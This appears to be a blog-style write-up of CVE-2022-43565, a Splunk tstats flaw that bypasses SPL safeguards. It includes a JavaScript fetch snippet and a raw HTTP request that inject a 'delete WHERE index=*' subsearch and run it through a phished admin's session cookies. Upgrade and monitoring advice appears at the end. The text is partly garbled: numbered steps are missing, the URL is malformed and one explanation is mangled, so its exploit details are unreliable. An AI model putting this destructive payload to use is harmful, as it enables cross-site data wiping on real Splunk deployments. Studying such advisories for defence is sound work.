CVE-2022-43565 - Exploiting the SPL Safeguards Bypass in Splunk tstats

CVE-2022-43565 marks a critical vulnerability in Splunk Enterprise versions prior to 8.2.9 and 8.1.12. This flaw centers on how Splunk's tstats command mishandles JSON input, letting attackers bypass built-in Search Processing Language (SPL) safeguards, which are designed to protect against dangerous “risky” commands.

This write-up breaks down what went wrong, how attackers can leverage it (with code snippet examples), and what you can do to stay safe. For the official statement, check Splunk’s SPL Safeguards documentation.

What is CVE-2022-43565?

Splunk’s SPL (Search Processing Language) provides powerful search and analytics capabilities. Some commands, called “risky commands,” can delete data or access sensitive information. That’s why SPL safeguards are in place.

Normally, if you try to use one of these risky commands, Splunk will warn you or even block the action, especially if you’re running a risky search unintentionally or from an untrusted source.

Due to CVE-2022-43565, these controls can be bypassed if an attacker injects malicious SPL through JSON to Splunk’s tstats command.

The Heart of It: Bypassing SPL Safeguards

The problem lies in how tstats parses input that includes embedded JSON. If you pass data in a certain way, you can trick Splunk into executing risky commands as if they are part of a normal, safe query.

For example:
You make it look like a regular, safe search in the browser, but under the hood, a crafted payload is sneaked in within a JSON object.

The Role of Phishing

This vulnerability is not automatic; an attacker has to trick a legitimate Splunk user (often an admin) into clicking a malicious link or loading a bad page. This is classic phishing.

When the victim’s browser makes a request containing the exploit, the risky SPL command is executed with the victim’s privileges — even if the user would otherwise be protected by Splunk’s safeguards.

Example Exploit (Code Included)

Here’s how an attacker might craft a malicious request exploiting CVE-2022-43565. Imagine an attacker sends a specially crafted URL to a Splunk admin, who’s already logged in:

// Malicious JS snippet (for demonstration)

// SPL payload embedded in tstats' JSON body
const splPayload = {
    search: 'tstats count WHERE index=* OR [ | delete WHERE index=* ]', // risky command injection
    output_mode: 'json'
};

fetch('https://splunk-server:800/en-US/splunkd/__raw/services/search/jobs';, {
    method: 'POST',
    credentials: 'include',
    headers: {
        'Content-Type': 'application/json'
    },
    body: JSON.stringify(splPayload)
})
.then(response => response.json())
.then(data => {
    console.log('Malicious search triggered:', data);
});

What’s going on here?

- The attacker triggers a POST request (by phishing, XSS, or a crafted HTML/JS page).

The payload uses tstats, but sneaks in a risky [ | delete WHERE index= ]* subsearch.

- Because the input is encoded in JSON, and due to the vulnerability, Splunk’s SPL safeguards don’t notice the risky command.
- The risky delete command runs with the victim's credentials, potentially deleting huge swathes of data.

A Simpler HTTP Example

POST /en-US/splunkd/__raw/services/search/jobs HTTP/1.1
Host: splunk-server:800
Content-Type: application/json
Cookie: splunkweb_uid=<victim's_cookie>

{
    "search": "tstats count WHERE index=* OR [ | delete WHERE index=* ]",
    "output_mode": "json"
}

Why Is This So Dangerous?

- Privilege Escalation: Any search an admin can run, an attacker can trigger once they phish that admin.
- Data Loss: Risky commands like delete or sendemail could lead to erasure or data exfiltration.
- Stealth: Regular SPL safeguards would stop these kinds of commands, but this bypasses them invisibly.

User Clicks: Victim loads the attacker’s link in their browser.

3. Automatic Request: The attacker's website (or a malicious browser extension) auto-triggers the exploit.
4. Risky SPL Runs: Splunk server executes the injected SPL command with the victim's session/cookies.

Detection and Prevention

- Upgrade! The only real fix is to upgrade Splunk Enterprise to 8.2.9, 8.1.12, or later. Get Splunk updates here.

Train Admins: Warn users to never click random links or interact with unfamiliar emails.

- Review Logs: Check for unusual or risky SPL commands in your Splunk search logs. Monitor for tstats commands with strange subsearches.
- Web Security: Use standard web security measures, including browser isolation, to block automatic requests.

References & Further Reading

- Splunk Security Advisory on SPL Safeguards
- Splunk Security Portal - Product Vulnerability Notifications
- Splunk tstats Command Documentation

Conclusion

CVE-2022-43565 is a serious reminder that even “protected” admin tools like Splunk can spring leaks if attackers are clever and users are caught off guard.

Regularly monitor and review risky search activity.

Timeline

Published on: 11/04/2022 23:15:00 UTC
Last modified on: 11/08/2022 13:53:00 UTC